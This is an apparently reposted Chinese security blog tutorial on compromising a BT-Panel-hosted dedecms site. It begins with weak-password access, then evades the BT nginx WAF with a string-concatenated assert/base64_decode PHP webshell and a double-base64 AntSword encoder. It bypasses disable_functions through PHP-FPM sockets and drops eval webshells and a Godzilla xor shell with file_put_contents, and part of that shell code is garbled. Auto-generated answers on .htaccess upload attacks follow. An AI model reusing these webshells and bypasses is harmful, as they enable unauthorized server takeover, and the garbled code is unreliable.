复现 文件上传漏洞bypass

公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

1,弱口令发现目标网站,为宝塔搭建的dedecms,于是自己服务器搭建同样的

图片

图片

2 get请求phpinfo() 有waf,上传文件有waf

图片

图片

3,寻找资料,发现是,宝塔的ngix防火墙。同样在自己的服务器上部署成功。顺便还看到了,宝塔的过滤规则。

图片

图片


可以发现, 规则,对get,post ,cookie,等方式的eval,还有base64都进行了过滤

4,过waf的一句话, eval和assert的区别

图片

图片


规则, 对eval( base64( phpinfo( 等过滤了。可以采取字符串拼接的方式。
但是,eval是不能够被拼接的。因为eval()是一个语言构造器,他不能使用PHP提供的可变函数来调用
上代码:

 
  1. <?php

  2. $a='assert';

  3. $m='base64_decode';

  4. $a($m($_REQUEST['z']));

5,为什么要base64呢?因为蚁剑,和菜刀的流量特征。。里面有base64

图片


这个就是蚁剑的流量特征。有明显的base64所以直接被过滤掉了。
通过查资料。知道,1方面要对小马进行base64编码, 另外一方面要对蚁剑进行魔改。小马就是上面的小马了。至于蚁剑的魔改, 直接改配置 。简单来说,就是双base64

图片

图片

 
  1. 'use strict';

  2. module.exports = (pwd, data, ext={}) => {

  3. data[pwd] = Buffer.from(data['_']).toString('base64');

  4. delete data['_'];

  5. return data;

  6. }

其实当小马写入进去的时候, 就可以执行了。
不过传进去的是phpinfo() 的base64编码 . 正好小马是base64decode

图片

6 蚁剑连接成功。

当然编码格式得选刚才自己写的编码

图片

图片

7,但是控制台,不管输入whoami,还是ls ,还是其他命令,全部都是ret=127

图片


通过查资料知道了。这是phpinfo 里面设置的disable_function 过滤掉了, system函数。

图片

8,于是要绕过disable_function 。

1,我先找的资料,是蚁剑的绕过disable_function 。蚁剑有个插件市场有绕过disable_function

图片

图片


通过一个个测试, 只有选择fastcgi/php_FPM。并且自己狠狠地恶补了这个知识。大意就是,fastcgi是个解释器,直接修改这个解释器,从而绕过phpinfo的disbale_function .

图片


千万要注意的是,这个得选择这个。找了好多资料,测试好多次。一直找不到。其他的都不对。

图片


/tmp/php-cgi-70.sock

9,蚁剑文件上传成功。

图片

本来到这里就结束了。然后连接.antproxy.php 这个文件, 密码不变。就能够成功连接上。不知道为什么, 我的蚁剑不成功。返回是空, 有知道的大佬, 求知道下

图片

10,由于蚁剑没成功。找了资料说哥斯拉也有绕过disable_function 。于是哥斯拉安排上。成功获得权限www

图片

图片


一定要注意FPM/FCGI的地址不能写错
/tmp/php-cgi-56.sock

备注:中间还有一个步骤。那就是, 哥斯拉生产的php小马第一个有base64流量特征,所以穿不进去, 被waf拦截。其他2个php小马没有流量特征是可以用的。但是, 里面有eval函数。于是。我用file_put_contents 写文件, 直接把哥斯拉的小马写进去了。具体参考如下

图片


一句话:

<?php

$a=base64_decode($_REQUEST['test']);

echo $a;

assert($a);

poc:

$a = "好好学习,天天向上;福如东海,寿比南山";

$b = file_put_contents('test.txt', $a);

$b = file_put_contents('test.txt','好好学习,天天向上;福如东海,寿比南山');



file_put_contents('shell.php','<?php eval($_REQUEST[8]);');







//哥斯拉xor一句话

file_put_contents('xor.php','<?php

<span class="label label-primary">@session_start();#CTL{n}</span><span>@set_time_limit(0);#CTL{n}</span><span>@error_reporting(0);#CTL{n}function</span> encode($D,$K){

for($i=0;$i@run($data),$key);#CTL{n}</span> }else{

if (strpos($data,"getBasicsInfo")!==false){

$_SESSION[$payloadName]=encode($data,$key);

}

}

}

');

备注:$b的内容进行base64编码

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 请注意,.htaccess文件本身并不会造成上传漏洞,它是一种用于配置Apache服务器的文件。我猜测您的问题是如何利用配置错误或者漏洞上传.htaccess文件来实现服务器攻击的。 一些常见的.htaccess文件上传漏洞如下: 1. 目录遍历漏洞: 如果一个服务器上的网站没有正确限制文件上传的目录,攻击者可以上传包含攻击代码的.htaccess文件到网站的某个目录,然后通过访问该目录下的文件来执行攻击代码。 2. 文件名绕过漏洞: 有些服务器在处理上传的文件名时可能会忽略.htaccess后缀,因此攻击者可以上传包含攻击代码的.htaccess文件并将其命名为其他文件类型的后缀名,例如.php、.jpg、.gif等,然后通过访问该文件来执行攻击代码。 3. MIME类型绕过漏洞: 攻击者可以上传一个包含攻击代码的.htaccess文件,并在其中设置MIME类型为可执行文件,这样当服务器处理该文件时就会将其作为可执行文件来执行其中的代码。 请注意,这些漏洞都是由于服务器配置错误或者漏洞造成的,因此最好的解决方法是及时更新服务器软件并开启安全防护措施,例如限制上传文件的类型、大小、目录等。同时,还应该定期检查服务器配置和日志来发现潜在的安全问题。 ### 回答2: .htaccess文件上传漏洞是一种常见的Web漏洞之一,攻击者可以通过该漏洞上传恶意的.htaccess文件来对受影响的网站进行进一步的攻击。 首先,攻击者需要找到使用了.htaccess文件的目标网站,因为只有使用了.htaccess文件的网站才会存在这个漏洞。然后,攻击者需要找到可以上传文件的功能或接口,这可能是一个后台管理系统、论坛或其他用户交互的页面。 接下来,攻击者需要准备一个恶意的.htaccess文件。这个文件可以包含任意的指令,用于控制网站的访问权限、重定向链接、阻止特定的IP地址或用户等。例如,攻击者可以将.htaccess文件设置为重定向用户流量到恶意网站或者隐藏敏感文件等。 然后,攻击者通过上传功能或接口将准备好的.htaccess文件上传到目标网站的服务器上。在上传文件时,攻击者可能会利用一些漏洞或者绕过文件上传过滤的技巧,以确保文件被成功上传。 最后,攻击者需要验证上传的.htaccess文件是否生效。他们可以通过访问目标网站来检查是否按照设定的指令进行了操作。如果.htaccess文件成功生效,那么攻击者将获得对目标网站重要功能的控制,可能会导致进一步的攻击活动。 为了防止.htaccess文件上传漏洞的利用,网站管理员可以采取以下措施: 1. 检查服务器的配置,确保禁止上传.htaccess文件或限制其使用; 2. 对文件上传功能进行严格的输入验证和过滤,过滤掉恶意的文件类型和内容; 3. 及时更新软件和补丁,确保服务器和相关软件的安全; 4. 启用防火墙和入侵检测系统,以便及时发现和阻止任何恶意活动; 5. 加强对服务器和网站的监控和日志记录,及时发现异常行为。 总之,.htaccess文件上传漏洞是一种严重的Web安全威胁,攻击者可以利用该漏洞来控制目标网站。为了保护网站的安全,网站管理员需要及时修复漏洞,并采取适当的预防措施来阻止该漏洞的利用。 ### 回答3: .htaccess文件上传漏洞是一种安全漏洞,它可能允许攻击者将恶意文件上传到服务器上,并在服务器上执行任意代码。 要复现.htaccess文件上传漏洞,可以按照以下步骤进行: 1. 首先,需要找到一个存在.htaccess文件上传漏洞的目标网站。这可以通过向目标网站发送恶意文件上传请求或者查找已知的漏洞报告来实现。 2. 确定目标网站的文件上传功能是否存在安全漏洞。这可以通过上传不同类型的文件来测试是否可以绕过文件类型限制。 3. 如果文件上传功能存在漏洞,则可以使用.htaccess文件进行攻击。创建一个包含恶意代码的.htaccess文件,例如包含PHP代码的.htaccess文件。 4. 通过网站的文件上传功能上传制作好的.htaccess文件。如果上传成功,那么.htaccess文件将被保存在服务器上,并且服务器将执行其中的恶意代码。 5. 最后,攻击者可以利用已经成功上传的.htaccess文件执行各种恶意操作,例如在服务器上创建后门、执行任意命令、获取敏感数据等。 为了防止.htaccess文件上传漏洞,应采取以下预防措施: 1. 对文件上传功能进行严格的输入验证和过滤,确保只能上传安全的文件类型。 2. 对上传的文件进行严格的文件类型检查,避免可以执行恶意代码的文件类型被上传。 3. 设置最小化的文件上传权限,仅允许必要的文件上传操作。 4. 定期更新网站的软件和插件,以保持与最新的安全修补程序同步。 5. 监控网站的日志文件,及时发现异常文件上传行为。 总之,.htaccess文件上传漏洞是一种严重的安全威胁,为了保护网站和用户的安全,应该进行安全验证和限制,以防止攻击者利用该漏洞进行恶意操作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值